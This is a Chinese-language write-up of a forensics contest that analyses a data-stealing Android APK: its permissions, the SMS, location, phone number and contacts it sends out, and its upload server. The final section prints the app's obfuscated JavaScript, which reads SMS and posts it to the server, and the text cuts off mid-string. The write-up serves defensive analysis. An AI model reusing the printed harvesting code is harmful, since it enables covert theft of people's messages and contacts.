第三届长安杯检材一复盘

分享到：  

第一题

题目

请计算检材一Apk的SHA256值

Writeup

使用windows自带的计算工具get-filehash

1. 进入文件所在目录

2. 输入

   Get-FileHash .\检材一-zhibo.apk -Algorithm SHA256

3. 得到hash值：3FECE1E93BE4F422C8446B77B6863EB6A39F19D8FA71FF0250AAC10F8BDDE73A

 

正在上传…重新上传取消

第二题

题目

该APK的应用包名为

Writeup

直接使用GDA查看plus.H5B8E45D3

正在上传…重新上传取消

第三题题目

该APK程序在封装服务商的应用唯一标识（APPID）为

Writeup

唯一标识appid 是对apk的打包工具的记录 可以去调取注册打包工具人的详细信息

可以使用雷电APP智能分析，直接得到

也可以了用jadx工具分析得到，位于assets/data/dcloud_control.xml中

正在上传…重新上传取消

第四题

题目

该APK具备下列哪些危险权限(多选题)：

A.读取短信

B.读取通讯录

C.读取精确位置

D.修改通讯录

E.修改短信

Writeup

解法1

使用雷电APP智能分析得到危险权限

正在上传…重新上传取消

解法2

相关资料：Android常用的网络权限,Android常用的权限大全_张赫尔的博客-CSDN博客

使用GDA baseinfo查找到相关权限

正在上传…重新上传取消

[Permissions]

android.permission.INTERNET

android.permission.WRITE_EXTERNAL_STORAGE

android.permission.ACCESS_NETWORK_STATE

android.permission.ACCESS_WIFI_STATE

android.permission.INSTALL_PACKAGES

android.permission.REQUEST_INSTALL_PACKAGES

android.permission.ACCESS_COARSE_LOCATION

android.permission.ACCESS_FINE_LOCATION

android.permission.READ_CONTACTS

android.permission.READ_SMS

android.permission.RECEIVE_SMS

android.permission.SEND_SMS

android.permission.WRITE_SMS

android.permission.GET_ACCOUNTS

android.permission.WRITE_CONTACTS

android.permission.CHANGE_WIFI_STATE

android.permission.READ_PHONE_STATE

android.permission.MOUNT_UNMOUNT_FILESYSTEMS

android.permission.READ_LOGS

android.permission.WRITE_SETTINGS

android.permission.READ_EXTERNAL_STORAGE

再根据这些权限和上面的相关资料匹配，得到答案是全选

第五题

题目

该APK发送回后台服务器的数据包含一下哪些内容(多选题)：

A.手机通讯录

B.手机应用列表

C.手机号码

D.验证码

E.GPS定位信息

Writeup

抓包分析的话可能受模拟器影响，会少一个GPS，因此我们使用代码分析的方法来看。见第七题分析提取出代码后。

正在上传…重新上传取消

正在上传…重新上传取消

正在上传…重新上传取消

这三段发包的代码我们可以看到传输了的参数包括duanxin（短信）、jingweidu（经纬度）、con(var con = sjh + "" + yqm + '' + address; //sjh（手机号）、yqm（邀请码）)。但是目前没有看到通讯录的数据传输，只看到了通讯录权限的要求。到目前为止暂时没有看到代码里有通讯录。不过在抓包的时候确实抓到了。

第六题

题目

该APK程序回传通讯录时,使用的http请求方式为（）

Writeup

抓包分析即可，POST

正在上传…重新上传取消

第七题

题目

该APK程序的回传地址域名为【标准格式：www.abc.com】

Writeup

这里要的是域名，并不是详细网址

所以是www.honglian7001.com

第八题

题目

该APK程序代码中配置的变量apiserver的值为（后面不带/）

Writeup

分析逆向代码中的资源，发现应用由网站打包痕迹严重，怀疑是网站打包服务APP结果。

正在上传…重新上传取消

发现了Sojson v4加密，尝试解密

正在上传…重新上传取消image.png

解密地址：Sojson v4 解密 - Bugku CTF

源代码：

['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"47Q42H10P32U42h80F114e111m103n99t101s115H115E101X100k32J66j121m32M74F83H68O101y99P32r105l110z32I48M46g48p48j115q10Y32O42w74W83B68L101c99h32J45P32p74z83k68C101o99t46W106l115z46t111o114A103B10I32g42N47D10B109M117z105Z46P105F110d105q116S40n41r59o10h10O9l9K109L117g105R46B112Q108x117t115x82q101L97s100c121W40j102o117d110F99N116r105N111B110P32x40M41t32j123t10Y9Z9x9M47L47e118E97C114a32Z109t97C105J110p32a61q32n112t108C117F115k46J97c110n100v114T111G105L100c46F114X117o110p116N105d109u101I77V97M105f110z65y99F116N105Q118D105H116B121g40A41G59K32C32W10w9q9j9P47j47R32g109O97Y105d110k46l109X111e118n101Y84P97K115K107a84R111i66o97n99P107d40J102I97C108G115i101v41E59E10i10y9g9i9z118Z97R114U32C97A100j100B114U101e115j115p32n61o32Q112E108X117C115W46Q100j101l118Y105J99p101w46j118o101X110o100Z111e114k32y43E32f39z45q39G32g43A32K112Y108T117T115N46M100D101p118K105Q99S101D46m109V111v100T101E108M59J10N9m9U9n97y100M100C114D101K115h115Z32Y61Z32d97N100o100K114I101H115W115A46h114A101u112P108V97t99D101d40i47m92q110b47a103T44d32L34M34A41C46z114R101N112s108V97P99V101n40g47w32T47D103d44z32i34g34Y41O46w114W101F112y108a97r99r101K40v47v92U114A47Y103g44X32U34s34l41v59R10U9P9a9W118N97H114P32N97f112K105P115O101X114H118n101A114a32w61p32G39C104A116M116s112w58u47K47j119R119Q119m46c104U111e110a103a108x105t97B110x55O48L48s49p46D99D111b109n47j97a112L105D47h117S112f108I111B97p100H115e47k39J59g10u9v9D9P47P47B37325v22797A25968i25454a22788A29702j32q39044y38450X29992Q25143G37325l22797P28857y20987Y10L9u9C9g118g97K114l32w100u97r110Z106J105c115c104i105x106i105d97x110c32T61b32p116U114X117E101F59C10P9G9a9w102o117I110h99e116l105t111Z110U32I114k101P113R117p101e115A116u80Z101M114Z109p105G115l115c105i111k110m40b115u106D104V44q32K121Q113r109n41J32r123D10t9W9z9z9Y112E108k117U115C46U97I110t100G114v111Y105m100d46y114Z101O113S117S101X115n116k80s101o114Y109F105o115w115Y105h111h110D115W40B10N9H9u9t9n9L91B34w97V110k100t114K111v105Z100m46y112B101v114O109n105r115F115P105X111U110b46P82Y69Q65n68S95T83I77b83M34c93H44R10d9j9O9M9p9p102i117C110A99z116H105U111d110S32l40y114d101g115M117W108H116G79a98o106e41v32V123U10g9k9n9o9Y9F9D47r47w83I109p115k73s110d102c111S23384k25918Q19968C26465h30701R20449E30340V21508V39033s20869R23481z10s9Z9L9u9P9b9d118K97f114A32X83Q109V115S73C110y102v111D32M61K32b123z125u10c9T9y9m9I9f9S47Y47t83T109X115o23384z25918X25152r26377o30701m20449s10Q9L9C9x9F9E9V118S97d114M32s83a109M115g32R61E32Y123t125B10P10b9N9T9N9s9H9h118D97N114G32X97z105u109x101B105Z32f61p32n115t106z104x59k10a9l9h9a9A9U9a118y97N114P32a97M105m109m101K105Z50r32o61Z32H121j113F109b59Y10c9f9c9E9y9L9E118z97b114p32P100J117B97h110L120g105K110K32P61F32k39K91m123R34W105g109J101b105K34I58y34c39L32N43Q32C97x105a109t101L105u32e43H32E39K34P44H34X105D109B101Y105V50N34h58X34J39i32c43I32S97M105f109A101r105B50E32m43L32x39H34l125R39g59p10I9r9r9e9S9Z9k118P97R114Z32G67p117n114e115r111x114c32n61p32g112d108F117D115m46Y97d110n100w114p111f105h100c46r105l109S112t111f114t116n67F108F97c115g115g40m34X97z110K100U114I111N105a100f46S100X97Z116Y97Z98Z97T115B101Z46E67e117q114r115h111G114u34x41d10x9H9E9H9b9h9M118J97o114y32B85x114T105U32u61B32l112Y108Z117X115k46t97q110J100L114B111h105c100T46K105G109H112c111W114e116b67U108j97v115T115n40k34c97M110z100k114s111B105e100T46l110V101Q116B46k85u114D105s34O41P32E160F32v47q47Q27880w24847v21862A65292L97a110C100s114X111e105P100O46a110m101o116Q46G85C114s105T20013R30340v110P101G116j26159Z23567H20889T10M9Y9E9r9U9w9b118D97r114d32Y97F99m116A105Y118J105m116Y121Z32R61A32g112A108D117m115D46y97Z110J100i114E111y105D100l46M114F117t110U116J105l109y101b77l97W105I110L65f99H116g105I118z105t116e121c40N41t10F9b9J9S9w9k9t118R97k114j32F117J114Y105D32K61X32A85f114r105l46J112A97j114S115S101R40n34y99b111M110a116F101j110j116c58R47N47n115o109e115Z47O34f41z59X10i10w9t9U9Q9a9j9d118p97o114W32N112V114l111O106A101j99V116S105E111X110I32q61X32g110P101L119L32C65W114N114i97J121X40n34h95N105Z100l34w44H32n34l97V100Q100Q114i101l115x115Q34X44Q32u34j112N101R114x115R111q110n34I44L32i34g98Y111p100r121N34H44U32C34x100g97s116X101u34W44A32l34w116T121p112A101g34E41p10y9q9Z9j9H9N9n118H97p114S32r99S117M115l111t114N32e61q32T97E99z116y105l118p105q116S121m46L109j97v110e97V103F101F100L81W117k101Y114c121Q40l117e114s105N44P32l112G114t111F106e101f99Z116B105T111k110V44c32c110h117I108e108R44c32y110r117M108m108Q44M32B34E100w97v116G101p32i100K101i115i99i34x41e10s9l9n9A9s9c9k118g97F114X32f105M100J67d111t108H117a109g110r32W61W32z99r117b115j111m114w46u103d101y116p67O111f108C117I109Z110R73F110U100m101I120D40J34A95N105M100R34s41b10M9x9l9k9X9D9B118e97g114A32w110Z97Y109Z101i67L111l108A117j109y110X32r61w32O99x117s115e111D114x46d103n101U116L67l111H108M117j109S110B73w110i100M101o120B40G34X112n101c114p115K111t110C34U41C10m9G9L9C9G9M9h118F97Q114j32o112N104a111F110e101Y78v117t109d98x101a114H67T111l108m117c109w110h32F61x32b99E117E115m111W114H46c103h101u116s67k111B108W117F109W110W73n110C100x101y120K40B34H97H100f100R114d101l115p115R34E41B10j9x9o9V9q9a9P118y97u114C32r115Y109O115j98Z111p100G121v67B111C108i117u109e110i32B61A32m99w117v115Q111m114O46d103Y101o116w67a111g108R117p109b110k73o110I100n101m120c40w34B98q111C100R121J34h41z10d9a9s9s9R9H9z118h97S114V32m100I97b116a101Y67e111T108l117s109n110i32c61H32Q99V117P115a111O114f46u103q101E116Z67i111i108a117X109P110c73a110a100D101a120e40g34U100B97Q116v101p34S41U10N9t9W9q9H9F9W118b97X114F32m116N121M112Y101s67Z111f108P117A109L110U32S61E32Z99v117B115F111l114o46R103C101I116V67O111a108v117W109v110o73d110W100X101p120R40L34f116K121R112j101g34Y41u10Y9a9K9b9P9d9Y105O102N32e40d99f117R115r111c114M32t33K61u32g110C117w108r108z41T32d123h10w9u9o9l9N9O9H9I119w104F105f108K101H32N40Q99Z117G115M111t114u46x109V111H118p101f84S111r78o101U120j116w40P41I41U32u123e10a9F9H9P9u9t9k9S9S83K109B115x73A110r102d111e46f105b100n32u61x32b99s117V115s111T114C46I103G101U116b83e116o114A105R110a103z40n105H100K67t111y108Y117F109R110X41B10s9F9j9s9n9f9i9G9l83z109S115F73T110u102d111Q46b78F97W109J101k32T61d32e99L117j115A111V114a46k103W101p116n73k110H116o40j110J97G109E101w67y111y108D117z109V110W41W10f9W9S9s9o9x9x9I9H83x109L115X73N110S102Y111z46R68k97Z116s101h32L61M32I99T117T115p111D114d46m103x101K116u76P111J110S103e40l100o97N116e101l67B111m108Q117W109B110P41b10F9p9Z9W9v9q9Q9n9q83N109I115p73F110j102f111y46U68b97q116A101U32U61a32d103R101I116U70c111H114U109Q97A116s68h97f116C101z40f83O109d115v73l110Y102v111w46M68I97m116I101B41V10V9S9B9I9l9h9w9T9N83l109I115Y73X110i102q111L46Y80r104V111R110O101D78N117k109f98q101X114p32R61T32Q99m117S115z111B114w46A103Z101U116r83N116y114G105g110D103g40R112r104P111U110t101W78Y117T109G98s101v114e67d111C108b117G109d110R41c10y9v9a9n9S9V9H9C9y83I109x115l73Q110G102i111e46O83R109y115G98m111V100s121F32Q61T32Q99D117J115j111r114H46S103j101e116b83R116S114G105L110K103Z40y115L109G115g98X111f100M121E67t111z108d117e109K110e41T10j9S9U9E9e9x9f9M9c83v109j115L73d110k102h111H46z84l121s112U101j32Y61f32G99I